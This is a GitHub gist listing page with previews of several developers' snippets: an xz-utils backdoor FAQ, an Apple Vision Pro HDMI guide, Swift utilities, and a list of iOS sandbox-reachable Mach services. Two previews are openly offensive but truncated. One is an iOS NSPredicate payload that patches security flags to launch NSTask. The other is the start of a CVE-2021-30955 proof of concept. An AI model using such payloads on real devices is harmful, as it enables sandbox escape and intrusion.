Skip to content

Instantly share code, notes, and snippets.

View McNight's full-sized avatar
:shipit:
Focusing

Adam McNight McNight

:shipit:
Focusing
View GitHub Profile
@thesamesam
thesamesam / xz-backdoor.md
Last active April 24, 2024 16:46
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that

@KhaosT
KhaosT / HDMI on Apple Vision Pro.md
Last active April 21, 2024 03:49
Guide for using Apple Vision Pro as HDMI display

Displaying HDMI sources on Apple Vision Pro

While it's possible to stream most content to Apple Vision Pro directly over the internet, having the ability to use Apple Vision Pro as an HDMI display can still be useful.

Since Apple Vision Pro does not support connecting to an HDMI input directly or using an HDMI capture card, we have to be a little creative to make this work. NDI provides the ability to stream HDMI content over a local network with really low latency, and it works great with Apple Vision Pro.

This page shows the setup I’m using.

@saagarjha
saagarjha / file_drain.c
Created November 11, 2023 10:01
"Drain" files while they are processed to reduce free disk space requirements
// Sometimes you have a large file on a small disk and would like to "transform"
// it in some way: for example, by decompressing it. However, you might not have
// enough space on disk to keep both the the compressed file and the
// decompressed results. If the process can be done in a streaming fashion, it
// would be nice if the file could be "drained"; that is, the file would be
// sequentially deleted as it is consumed. At the start you'd have 100% of the
// original file, somewhere in the middle you'd have about half of the original
// file and half of your output, and by the end the original file will be gone
// and you'll be left with just the results. If you do it this way, you might
// be able to do the entire operation without extra space!
@zhuowei
zhuowei / reachable_services.txt
Created February 21, 2023 06:26
Reachable Mach services from the app sandbox on iOS 16.1
PurpleSystemAppPort
PurpleSystemEventPort
UIASTNotificationCenter
com.apple.ABDatabaseDoctor
com.apple.AppSSO.service-xpc
com.apple.AuthenticationServicesCore.AuthenticationServicesAgent
com.apple.CARenderServer
com.apple.ClipServices.clipserviced
com.apple.CoreAuthentication.daemon
com.apple.DeviceAccess.xpc
@Sherlouk
Sherlouk / DebugDevice.swift
Last active December 10, 2023 19:24
Debug Profiles - Securely debugging in production
//
// DebugDevice.swift
//
// Copyright 2022 • Sidetrack Tech Limited
//
import Foundation
// This must be called on the main-thread.
var isDebugProfileInstalled: Bool {
@aemmitt-ns
aemmitt-ns / nspredpayload.m
Last active December 30, 2023 06:26
NSPredicate payload for iOS that disables security checks and launches an NSTask
NSPredicate *pred = [NSPredicate predicateWithFormat:@"1=cast({" // cast to get nice error in syslog for debugging
// use format string to read the address of _NSPredicateUtilities ( #self() ), theres prolly a better way
"$_NSPredicateUtilities := function('','stringByAppendingFormat:', '%p/%lld', #self()).lastPathComponent.longLongValue,"
"$_predicateSecurityFlags := $_NSPredicateUtilities + 0x188c," // address of _predicateSecurityFlags
"$_predicateSecurityOnce := $_predicateSecurityFlags - 0x276daec," // address of _predicateSecurityOnce
"$forbiddenClassesLength := $_predicateSecurityFlags + 0x63a334," // address of length field for array of forbidden classes
"$forbiddenSelectorsLength := $_predicateSecurityFlags + 0x63a3d4," // address of length field for array of forbidden selectors
"$NSTask := $_NSPredicateUtilities + 0x637860," // address of NSTask class
"$NSPipe := $NSTask - 0x41a0," // address of NSPipe class
func scrollViewDidScroll(_ scrollView: UIScrollView) {
for (i, view) in scrollView.subviews.enumerated() {
var ty = 0.0
if scrollView.contentOffset.y < 0 {
// We're scrolling past the top of the scroll view.
// Translate each item in the scroll view by some amount based on its index and scroll offset.
ty = CGFloat(i) * abs(offsetY) / 8.0 * pow(1.12, CGFloat(i))
}
view.transform = CGAffineTransform(translationX: 0, y: ty)
}
@ole
ole / HeterogeneousDictionary.swift
Last active May 17, 2023 19:23
Code for my article "A heterogeneous dictionary with strong types in Swift" https://oleb.net/2022/heterogeneous-dictionary/
// A heterogeneous dictionary with strong types in Swift, https://oleb.net/2022/heterogeneous-dictionary/
// Ole Begemann, April 2022
/// A key in a `HeterogeneousDictionary`.
public protocol HeterogeneousDictionaryKey {
/// The "namespace" the key belongs to. Every `HeterogeneousDictionary` has its associated domain,
/// and only keys belonging to that domain can be stored in the dictionary.
associatedtype Domain
/// The type of the values that can be stored under this key in the dictionary.
associatedtype Value
@mattmassicotte
mattmassicotte / shared_publisher.swift
Last active May 21, 2022 15:12
This code demonstrates that using a shared publisher will not always be able to deliver results to concurrent subscribers
import Foundation
import Combine
enum State: Int {
case starting
case firstValueReceived
case secondSubscriptionCreated
case finishedWithFirstValue
case secondValueReceived
case finished
@jakeajames
jakeajames / poc.c
Last active May 1, 2023 19:58
CVE-2021-30955 PoC
#include <stdlib.h>
#include <stdio.h>
#include <pthread/pthread.h>
#include <mach/mach.h>
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[];
};